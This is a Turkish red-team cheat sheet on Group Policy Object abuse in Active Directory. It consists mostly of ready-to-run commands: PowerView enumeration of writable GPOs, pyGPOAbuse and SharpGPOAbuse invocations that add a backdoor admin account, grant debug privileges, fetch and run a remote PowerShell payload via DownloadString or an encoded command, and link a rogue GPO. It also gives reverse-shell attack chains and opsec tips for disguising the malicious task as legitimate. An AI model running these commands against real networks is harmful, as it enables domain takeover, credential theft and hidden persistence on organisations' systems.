GPO Abuse
ATT&CK T1484.001 difficulty: orta
Group Policy Object (GPO), bir OU’daki tüm kullanıcı ve bilgisayarlara ayar uygular. Bir GPO üzerinde yazma yetkiniz varsa (veya GPO oluşturup bağlayabiliyorsanız), GPO’ya immediate scheduled task / script / restricted groups ekleyerek bağlı nesnelerde kod çalıştırabilir, yerel yönetici ekleyebilir veya kullanıcıları ele geçirebilirsiniz.
Etki alanı = GPO’nun link edildiği kapsam. Domain Controllers OU’suna bağlı yazılabilir GPO = doğrudan domain takeover.
Yazılabilir GPO bulma
Section titled “Yazılabilir GPO bulma”Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |? { $_.ActiveDirectoryRights -match 'Write|Create|Delete|GenericAll' -and$_.SecurityIdentifier -match 'YOUR_SID_OR_GROUP' }Get-DomainGPOLocalGroupGet-DomainOU | Get-DomainObjectAcl -ResolveGUIDsnxc ldap DC -u user -p Pass -M gpp_password # yan ürünBloodHound kenarları: GenericWrite/WriteDacl/Owns on GPO, GPLink, Contains.
Komut üreteci
Section titled “Komut üreteci”GPO Abuse · pyGPOAbuse
embedded toolpygpoabuse.py domain.local/user:Pass123 -gpo-id 12345678-1234-1234-1234-1234567890ab -command whoamiGPO Abuse · pyGPOAbuse
Section titled “GPO Abuse · pyGPOAbuse”Saldırı akışı
Section titled “Saldırı akışı”-
Hedef GPO ve kapsamını belirle — hangi OU / site; bilgisayar mı kullanıcı mı uyguluyor ( gpcMachineExtensionNames / user).
-
Zararlı ayar enjekte et :
Terminal window pygpoabuse.py domain.local/user:'Pass' -gpo-id '{GPO-GUID}' \-command 'net localgroup administrators domain\\evil /add' \-taskname 'Update' -description 'Security' -userTerminal window pygpoabuse.py domain.local/user:'Pass' -gpo-id '{GPO-GUID}' \-powershell -command 'IEX(New-Object Net.WebClient).DownloadString(...)'SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \--Author DOMAIN\Administrator --Command "cmd.exe" \--Arguments "/c net localgroup administrators domain\evil /add" \--GPOName "Vulnerable GPO"SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege" \--UserAccount evil --GPOName "Vulnerable GPO"SharpGPOAbuse.exe --AddLocalAdmin --UserAccount evil --GPOName "Vulnerable GPO" -
Uygulanmasını bekle / zorla :
# Hedeftegpupdate /force# Varsayılan: bilgisayar ~90 dk, kullanıcı logon/90 dk -
Temizlik — task/XML’i geri al (angajman); aksi halde kalıcılık kalır.
Manuel SYSVOL düzenleme
Section titled “Manuel SYSVOL düzenleme”GPO GUID klasörü: \domain\SYSVOL\domain\Policies{GUID}.
Machine\Preferences\ScheduledTasks\ScheduledTasks.xmlMachine\Microsoft\Windows NT\SecEdit\GptTmpl.inf (Restricted Groups)User\Scripts\Logon\version / GPT.INI artırılmazsa istemciler çekmeyebilir — araçlar bunu yönetir; manuel edit’te unutma.
Create GPO + Link (OU Write)
Section titled “Create GPO + Link (OU Write)”OU üzerinde CreateChild / GenericWrite varsa yeni GPO üretip link’le:
New-GPO -Name 'Evil' | New-GPLink -Target 'OU=Servers,DC=domain,DC=local'Saldırı zinciri
Section titled “Saldırı zinciri”BloodHound: GenericWrite on "Desktop Policy" GPO → linked to Workstations OU → AddComputerTask reverse shell / local admin → gpupdate → LSASS on DA laptopOpsec (ofansif)
Section titled “Opsec (ofansif)”- GPO değişikliği değişim kontrolü / AGPM olan yerde çok görünür.
- Immediate task Author alanını meşru admin gibi doldur (SharpGPOAbuse –Author ).
- Geniş Domain GPO yerine dar OU GPO tercih et (daha az host, daha az gürültü — veya tam tersi ihtiyaç).
- Payload sonrası task’ı kaldır; aksi halde her gpupdate’de tekrar çalışır.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Yazma hakkı GPO’da var ama SYSVOL ACL yazmaya izin vermiyor (nadir ayrışma).
- User vs Computer configuration karışıklığı — task yanlış tarafta.
- gpupdate hak yok — beklemek gerekir.
- WMI filter GPO’yu senin hedefine uygulamıyor.
- DC’lerde “hızlı” test — production DC GPO’suna yazmak angajman ihlali olabilir; stop condition.
Saldırı zinciri
Section titled “Saldırı zinciri”BloodHound WriteGPO / GenericWrite on GPO → SharpGPOAbuse immediate task → reverse shell → gpupdate / hedef reboot bekle → local admin / SYSTEMCreate GPO + Link to OU (CreateChild) → Restricted Groups: Domain Users → Administrators → tüm OU bilgisayarlarında local adminHızlı komutlar
Section titled “Hızlı komutlar”SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \ --Author "DOMAIN\Administrator" --Command "cmd.exe" \ --Arguments "/c powershell -enc <B64>" --GPOName "Vulnerable GPO"pygpoabuse.py domain.local/user:'Pass' -gpo-id '{GPO-GUID}' \ -powershell -command 'whoami' -taskname winUpdatenxc smb DC -u user -p pass --share SYSVOL -M gpp_passwordSonraki adımlar
Section titled “Sonraki adımlar”ACL Abuse · Exec methods · Persistence · Enumeration